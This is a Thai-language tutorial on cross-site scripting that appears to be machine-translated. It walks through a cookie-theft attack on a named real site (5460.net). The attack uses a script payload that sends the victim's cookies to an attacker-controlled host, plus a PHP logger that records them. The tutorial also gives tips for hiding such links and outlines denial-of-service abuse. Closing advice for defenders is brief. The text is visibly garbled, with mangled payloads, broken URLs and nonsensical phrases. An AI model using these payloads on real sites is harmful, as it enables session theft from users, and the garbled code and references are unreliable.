บทความนี้ส่วนใหญ่แนะนำสาเหตุของช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ เนื่องจากมีข้อมูลไม่มากเกี่ยวกับช่องโหว่การเรียกใช้สคริปต์ข้ามไซต์จึงมักจะไม่มีการแนะนำรายละเอียดบนอินเทอร์เน็ต ฉันหวังว่าบทความนี้สามารถแนะนำความรู้เหล่านี้ในรายละเอียดเพิ่มเติม ต่อไปนี้เป็นสาเหตุของช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ที่รวบรวมโดยบรรณาธิการของช่องเทคโนโลยีใหม่ที่ไม่ถูกต้อง ไปที่สิ่งต่อไปนี้เพื่อเรียนรู้เพิ่มเติม!
สาเหตุของช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ [สาเหตุของช่องโหว่]
เหตุผลนั้นง่ายมากเนื่องจากโปรแกรม CGI ไม่ได้กรองหรือแปลงรหัส HTML ในตัวแปรที่ส่งโดยผู้ใช้
【รูปแบบช่องโหว่】
แบบฟอร์มที่กล่าวถึงที่นี่จริง ๆ แล้วหมายถึงรูปแบบของอินพุต CGI ซึ่งส่วนใหญ่แบ่งออกเป็นสองประเภท:
1. แสดงอินพุต
2. อินพุตโดยนัย
การป้อนข้อมูลการแสดงผลอย่างชัดเจนต้องการให้ผู้ใช้ป้อนข้อมูลในขณะที่อินพุตโดยนัยไม่ต้องการให้ผู้ใช้ป้อนข้อมูล แต่ผู้ใช้สามารถรบกวนได้โดยการป้อนข้อมูล
อินพุตแสดงผลสามารถแบ่งออกเป็นสองประเภท:
1. อินพุตเสร็จสมบูรณ์และผลลัพธ์จะถูกส่งออกทันที
2. อินพุตเสร็จสมบูรณ์และเก็บไว้ในไฟล์ข้อความหรือฐานข้อมูลจากนั้นผลลัพธ์จะเป็นเอาต์พุต
หมายเหตุ: หลังอาจทำให้เว็บไซต์ของคุณไม่สามารถจดจำได้! -
นอกเหนือจากสถานการณ์ปกติบางอย่างแล้วอินพุตโดยนัยยังสามารถนำไปใช้งานได้โดยใช้โปรแกรมเซิร์ฟเวอร์หรือ CGI เพื่อจัดการข้อมูลข้อผิดพลาด
【อันตรายของช่องโหว่】
สิ่งที่ทุกคนมีความกังวลมากที่สุดอาจเป็นปัญหานี้ รายการต่อไปนี้อาจไม่ครอบคลุมหรือเป็นระบบ แต่ฉันคิดว่ามันควรจะเป็นเรื่องปกติมากกว่า
1. รับข้อมูลที่ละเอียดอ่อนในคุกกี้ผู้ใช้รายอื่น
2. ข้อมูลเฉพาะหน้าบล็อกข้อมูลเฉพาะ
3. ข้อมูลหน้าปลอม
4. การปฏิเสธการโจมตีบริการ
5. แบ่งผ่านการตั้งค่าความปลอดภัยที่แตกต่างกันของเครือข่ายภายนอกและภายใน
6. รวมกับช่องโหว่อื่น ๆ แก้ไขการตั้งค่าระบบดูไฟล์ระบบดำเนินการคำสั่งระบบ ฯลฯ
7. อื่น ๆ
โดยทั่วไปแล้วอันตรายข้างต้นมักจะมาพร้อมกับการเสียรูปของหน้า ช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ที่เรียกว่าหมายถึงผลกระทบการโจมตีนั้นเกิดขึ้นได้จากเว็บไซต์ของคนอื่นซึ่งหมายความว่าการโจมตีประเภทนี้สามารถซ่อนตัวตนได้ในระดับหนึ่ง
【วิธีการใช้งาน】
ด้านล่างเราจะแสดงให้เห็นถึงอันตรายต่าง ๆ ข้างต้นผ่านตัวอย่างที่เฉพาะเจาะจงซึ่งควรอธิบายได้มากขึ้นและเข้าใจได้ง่ายขึ้น สำหรับโครงสร้างที่ชัดเจนยิ่งขึ้นเราจะทำการทดลองสำหรับแต่ละอันตราย
เพื่อที่จะทำการทดลองเหล่านี้ได้ดีเราจำเป็นต้องมีซอฟต์แวร์จับแพ็คเกจ ฉันใช้ไอริส แน่นอนคุณสามารถเลือกซอฟต์แวร์อื่น ๆ เช่น Netxray หรืออะไรก็ได้ สำหรับวิธีการใช้งานเฉพาะโปรดดูความช่วยเหลือหรือคู่มือที่เกี่ยวข้อง
นอกจากนี้สิ่งหนึ่งที่ต้องเข้าใจคือตราบใดที่เซิร์ฟเวอร์ส่งคืนข้อมูลที่ส่งโดยผู้ใช้อาจมีช่องโหว่การดำเนินการสคริปต์ข้ามไซต์
ตกลงทุกอย่างพร้อมแล้วเริ่มทดลองกันเถอะ! -
การทดลองที่ 1: รับข้อมูลที่ละเอียดอ่อนในคุกกี้ของผู้ใช้รายอื่น
มารับเว็บไซต์บันทึกนักเรียนในประเทศที่มีชื่อเสียง 5460.NET เป็นตัวอย่างเพื่อแสดงให้เห็น กรุณาทำตามขั้นตอนด้านล่าง:
1. ป้อนหน้าแรก http://www.5460.net/
2. ป้อนชื่อผู้ใช้ "<H1>" และส่ง เซิร์ฟเวอร์ส่งคืนข้อมูลที่มีการส่งของผู้ใช้ "<H1>"
3. วิเคราะห์ข้อมูลการจับแพ็กเก็ตและรับคำขอจริง:
http://www.5460.net/txl/login/login.pl?username=<h1>&ubpasswd=&ok.x=28&ok.y=6
4. สร้างการส่งโดยมีเป้าหมายเพื่อให้สามารถแสดงข้อมูลคุกกี้ของผู้ใช้:
http://www.5460.net/txl/login/login.pl?username=<script>Lert(document.cookie)</ สคริปต์> & passwd = & ok.x = 28 & ok.y = 6
5. หากคำขอข้างต้นได้รับเอฟเฟกต์ที่คาดหวังเราสามารถลองใช้คำขอต่อไปนี้:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?
ในหมู่พวกเขา http://www.notfound.org/info.php เป็นสคริปต์บนโฮสต์ที่คุณสามารถควบคุมได้ ฟังก์ชั่นของมันคือการรับข้อมูลของสตริงแบบสอบถามและเนื้อหามีดังนี้:
<? php
$ info = getenv ("query_string");
ถ้า ($ ข้อมูล) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/n");
fclose ($ fp);
-
ส่วนหัว ("สถานที่: http://www.5460.net");
หมายเหตุ: "%2B" คือการเข้ารหัส URL ของ "+" และสามารถใช้ "%2B" ได้ที่นี่เพราะ "+" จะถูกประมวลผลเป็นช่องว่าง ประโยคส่วนหัวต่อไปนี้มีไว้เพื่อเพิ่มการปกปิด
6. หาก URL ด้านบนสามารถทำงานได้อย่างถูกต้องขั้นตอนต่อไปคือการชักนำให้ผู้ใช้เข้าสู่ระบบ 5460.NET เพื่อเข้าถึง URL และเราสามารถรับข้อมูลที่ละเอียดอ่อนในคุกกี้ของผู้ใช้
7. สิ่งที่คุณต้องการทำในภายหลังขึ้นอยู่กับคุณ!
การทดลองที่ 2: บล็อกข้อมูลเฉพาะหน้าบล็อก
เรายังคงใช้ 5460.NET เป็นตัวอย่างนี่คือโปรแกรม CGI ที่มีปัญหา:
http://www.5460.net/txl/liuyan/liuyansql.pl
โปรแกรม CGI ยอมรับตัวแปรสามตัวที่ผู้ใช้จัดเตรียมไว้คือ NAMELY, CSID และ CNAME แต่ไม่ได้ตรวจสอบตัวแปร CNAME ใด ๆ ที่ส่งโดยผู้ใช้ ยิ่งกว่านั้นโปรแกรม CGI ใช้ค่า CNAME เป็นส่วนหนึ่งของหน้าเอาต์พุต ผู้ใช้ 5460.NET ควรชัดเจนยิ่งขึ้นว่าชื่อของคุณอยู่ที่มุมล่างขวาของข้อความใช่ไหม?
เนื่องจากเรามีเงื่อนไขข้างต้นเราอาจต้องการสรุปดังต่อไปนี้:
ผู้ใช้สามารถ "บล็อก" ข้อความทั้งหมดระหว่างสองข้อความของพวกเขา!
แน่นอน "การบล็อก" ที่เรากำลังพูดถึงไม่ใช่ "การลบ" และข้อความของผู้ใช้ยังคงมีอยู่ แต่เนื่องจากลักษณะของ HTML เราไม่สามารถเห็นได้จากหน้าเว็บ แน่นอนถ้าคุณต้องการดูซอร์สโค้ดมันก็ไร้ประโยชน์ แต่พวกเราที่กำลังศึกษาความปลอดภัยของ CGI พูดว่ามีกี่คนที่ดูซอร์สโค้ด HTML ถ้าคุณมีสิ่งที่ต้องทำหรือไม่?
ด้วยเหตุผลหลายประการฉันจะไม่ประกาศรายละเอียดเฉพาะที่นี่เพียงรู้หลักการ
หมายเหตุ: หากคุณคิดอย่างรอบคอบเราไม่เพียง แต่บล็อกข้อความ แต่ยังฝากข้อความไว้โดยไม่ระบุชื่อใช่ไหม?
การทดลอง 3: ลืมข้อมูลหน้า
หากคุณเข้าใจการทดลองข้างต้นไม่จำเป็นต้องทำการทดลองนี้ หลักการพื้นฐานเหมือนกัน แต่มันเป็นเรื่องยากเล็กน้อยที่จะนำไปใช้
การทดลองที่ 4: การปฏิเสธการโจมตีบริการ
ตอนนี้ควรเป็นที่ทราบกันดีว่าเราสามารถควบคุมพฤติกรรมของเซิร์ฟเวอร์ที่มีช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ได้ในระดับหนึ่ง ในกรณีนี้เราสามารถควบคุมเซิร์ฟเวอร์เพื่อดำเนินการที่ใช้ทรัพยากรได้ ตัวอย่างเช่นการเรียกใช้สคริปต์ JavaScript ที่มีลูปตายหรือเปิดหน้าต่างที่ไม่มีที่สิ้นสุด ฯลฯ ด้วยวิธีนี้ระบบผู้ใช้ที่เข้าถึง URL อาจชะลอตัวลงหรือหยุดทำงาน ในทำนองเดียวกันเราอาจฝังสคริปต์บางส่วนไว้เพื่อขอให้เซิร์ฟเวอร์ขอทรัพยากรบนเซิร์ฟเวอร์อื่น หากทรัพยากรที่เข้าถึงได้ใช้ทรัพยากรมากขึ้นและมีผู้เข้าชมมากขึ้นเซิร์ฟเวอร์ที่เข้าถึงได้อาจถูกปฏิเสธบริการและเชื่อว่าการปฏิเสธการโจมตีบริการนั้นเริ่มต้นโดยเซิร์ฟเวอร์ที่เข้าถึงได้เพื่อให้สามารถซ่อนตัวตนได้
การทดลองที่ 5: แบ่งผ่านการตั้งค่าความปลอดภัยที่แตกต่างกันของเครือข่ายภายนอกและภายใน
สิ่งนี้ควรเข้าใจง่าย โดยทั่วไปแล้วเบราว์เซอร์ของเราจะกำหนดระดับความปลอดภัยที่แตกต่างกันสำหรับภูมิภาคต่าง ๆ ตัวอย่างเช่นสำหรับพื้นที่อินเทอร์เน็ตคุณอาจไม่อนุญาตให้ดำเนินการ JavaScript แต่ในพื้นที่อินทราเน็ตคุณอาจอนุญาตให้ดำเนินการ JavaScript โดยทั่วไปแล้วระดับความปลอดภัยของอดีตนั้นสูงกว่าระดับหลัง ด้วยวิธีนี้โดยทั่วไปคนอื่นไม่สามารถโจมตีคุณได้โดยดำเนินการสคริปต์ JavaScript ที่เป็นอันตราย แต่ถ้ามีช่องโหว่การดำเนินการสคริปต์ข้ามไซต์บนเซิร์ฟเวอร์บนอินทราเน็ตเดียวกันกับคุณผู้โจมตีมีโอกาสใช้ประโยชน์จากมันเพราะเซิร์ฟเวอร์อยู่ในพื้นที่อินทราเน็ต
การทดลอง 6: รวมกับช่องโหว่อื่น ๆ แก้ไขการตั้งค่าระบบดูไฟล์ระบบดำเนินการคำสั่งระบบ ฯลฯ
เนื่องจากมีช่องโหว่ที่เกี่ยวข้องกับเบราว์เซอร์มากเกินไปจึงมีช่องโหว่มากมายที่สามารถรวมกับช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ ฉันคิดว่าทุกคนควรชัดเจนเกี่ยวกับปัญหาเหล่านี้ ช่องโหว่ของการปรับเปลี่ยนชื่อ IE สองสามครั้งช่องโหว่ของคำสั่งการดำเนินการประเภท MIME ที่ไม่ถูกต้องและเวิร์มที่หลากหลายเป็นตัวอย่างที่ดีทั้งหมด
สำหรับตัวอย่างเพิ่มเติมโปรดดูลิงค์ต่อไปนี้:
บั๊กแท็กวัตถุป๊อปอัพ Internet Explorer
http://archives.neo wicies.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Popup Popup Local ปฏิเสธช่องโหว่บริการ
http://archives.neo wicies.com/archives/bugtraq/2002-01/0058.html
MSIE6 สามารถอ่านไฟล์โลคัล
http://www.xs4all.nl/~jkuperus/bug.htm
msie อาจดาวน์โหลดและเรียกใช้ progams โดยอัตโนมัติ
http://archives.neo weyis.com/archives/bugtraq/2001-12/0143.html
ส่วนขยายไฟล์ spoofable ในกล่องโต้ตอบดาวน์โหลด MSIE
http://archives.neo wicyis.com/archives/bugtraq/2001-11/0203.html
ข้อบกพร่องอื่น ๆ คือคุกกี้ (MS01-055)
http://archives.neo wicies.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neo wicies.com/archives/bugtraq/2001-11/0048.html
ข้อบกพร่องด้านความปลอดภัยที่ร้ายแรงใน Microsoft Internet Explorer - การปลอมแปลงโซน
http://archives.neo wicies.com/archives/bugtraq/2001-10/0075.html
ส่วนหัว MIME ที่ไม่ถูกต้องอาจทำให้ IE ดำเนินการไฟล์แนบอีเมล
http://www.kriptopolis.com/cua/eml.html
บทบาทของช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ที่นี่คือการซ่อนตัวตนของผู้โจมตีจริง
การทดลองที่ 7: คนอื่น ๆ
ในความเป็นจริงปัญหาประเภทนี้มีส่วนเกี่ยวข้องกับช่องโหว่สคริปต์ข้ามไซต์เพียงเล็กน้อย แต่ก็ยังจำเป็นต้องพูดถึงที่นี่ สาระสำคัญของปัญหาคือโปรแกรม CGI ไม่ได้กรองข้อมูลที่ส่งของผู้ใช้แล้วดำเนินการประมวลผลเอาต์พุต ตัวอย่างเช่นโปรแกรม CGI บนเซิร์ฟเวอร์ที่รองรับ SSI outputs ข้อมูลที่ผู้ใช้ส่งซึ่งอาจนำไปสู่การดำเนินการของคำสั่ง SSI โดยไม่คำนึงถึงวิธีการป้อนข้อมูล แน่นอนว่าสิ่งนี้ถูกดำเนินการทางฝั่งเซิร์ฟเวอร์ไม่ใช่ด้านไคลเอนต์ ในความเป็นจริงภาษา CGI เช่น ASP, PHP และ Perl อาจทำให้เกิดปัญหานี้
【เทคนิคที่ซ่อนอยู่】
เพื่อประโยชน์ของเวลาฉันจะพูดถึงทฤษฎีที่นี่เป็นหลัก ฉันเชื่อว่ามันไม่ยากที่จะเข้าใจ หากมีปัญหาจริงๆให้ไปที่หนังสือเล่มนี้เพื่ออ่าน
1. การเข้ารหัส URL
เปรียบเทียบ:
http://www.5460.net/txl/login/login.pl?username=<h1>&ubpasswd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
คุณคิดว่าอันไหนปกปิดมากกว่า? -
2. ซ่อนอยู่ใต้วัตถุอื่น ๆ
จะดีกว่าไหมที่จะตัดสินใจซ่อนลิงค์ด้านล่างปุ่มกว่าที่จะให้ลิงค์ใครบางคนโดยตรง?
3. ฝังลงในหน้า
การให้ผู้อื่นเข้าถึงที่อยู่ง่ายกว่ามาก (โปรดทราบว่าที่อยู่ที่นี่แตกต่างจาก URL ที่กล่าวถึงข้างต้น) มากกว่าที่จะให้ผู้อื่นกดปุ่มหรือไม่? ด้วยความช่วยเหลือของ Iframe คุณสามารถทำให้การโจมตีนี้ซ่อนอยู่ได้มากขึ้น
4. การใช้งานอย่างมีเหตุผลของเหตุการณ์
การใช้งานอย่างมีเหตุผลของเหตุการณ์สามารถข้ามได้ในบางกรณีข้อ จำกัด อินพุตของโปรแกรม CGI เช่นช่องโหว่การดำเนินการข้ามไซต์ของ SecurityFocus เมื่อไม่กี่วันที่ผ่านมา
【ข้อควรระวัง】
โดยทั่วไปแล้วไม่มีปัญหาในการโจมตีโดยตรงเช่น <script> Alert (document.cookie) </script> แต่บางครั้งโปรแกรม CGI ประมวลผลการป้อนข้อมูลผู้ใช้เช่นรวมถึง '' หรือ '' ในเวลานี้เราต้องใช้เทคนิคบางอย่างเพื่อข้ามข้อ จำกัด เหล่านี้
หากคุณคุ้นเคยกับภาษา HTML การข้ามข้อ จำกัด เหล่านี้ไม่ควรเป็นปัญหา
【สารละลาย】
เพื่อหลีกเลี่ยงการถูกโจมตีโดยช่องโหว่การดำเนินการสคริปต์ข้ามไซต์ทั้งโปรแกรมเมอร์และผู้ใช้จำเป็นต้องทำงานร่วมกัน:
โปรแกรมเมอร์:
1. กรองหรือแปลงรหัส HTML ในข้อมูลที่ผู้ใช้ส่ง
2. จำกัด ความยาวของข้อมูลที่ส่งโดยผู้ใช้
ผู้ใช้:
1. อย่าเข้าถึงลิงก์ที่อื่น ๆ ให้คุณได้อย่างง่ายดาย
2. ปิดการใช้งานเบราว์เซอร์จากการเรียกใช้รหัส JavaScript และ ActiveX
สิ่งที่แนบมา: ตำแหน่งของการตั้งค่าการปรับเปลี่ยนเบราว์เซอร์ทั่วไปคือ:
Internet Explorer:
เครื่องมือ -> ตัวเลือกอินเทอร์เน็ต -> ความปลอดภัย -> อินเทอร์เน็ต -> ระดับที่กำหนดเอง
เครื่องมือ -> ตัวเลือกอินเทอร์เน็ต -> ความปลอดภัย -> อินทราเน็ต -> ระดับที่กำหนดเอง
โอเปร่า:
ไฟล์ -> พารามิเตอร์ด่วน -> อนุญาต Java
ไฟล์ -> พารามิเตอร์ด่วน -> อนุญาตให้ใช้ปลั๊กอินที่ใช้
ไฟล์ -> พารามิเตอร์ด่วน -> อนุญาต JavaScript
【คำถามที่พบบ่อย】
ถาม: ช่องโหว่การเรียกใช้สคริปต์ข้ามไซต์อยู่ที่ไหน?
ตอบ: ตราบใดที่มันเป็นโปรแกรม CGI และตราบใดที่ผู้ใช้ได้รับอนุญาตให้ป้อนข้อมูลอาจมีช่องโหว่การดำเนินการสคริปต์ข้ามไซต์
ถาม: ช่องโหว่การดำเนินการสคริปต์ข้ามไซต์สามารถขโมยคุกกี้ของคนอื่นได้หรือไม่?
ตอบ: ไม่แน่นอน! รหัส HTML ทั้งหมดสามารถทำได้ช่องโหว่การดำเนินการข้ามไซต์สามารถทำได้
บทความข้างต้นเป็นสาเหตุของช่องโหว่สคริปต์ข้ามไซต์ ฉันเชื่อว่าทุกคนมีความเข้าใจที่แน่นอน หากคุณต้องการทราบข้อมูลทางเทคนิคเพิ่มเติมโปรดดำเนินการต่อเพื่อให้ความสนใจกับช่องทางเทคโนโลยีใหม่ที่ไม่ถูกต้อง!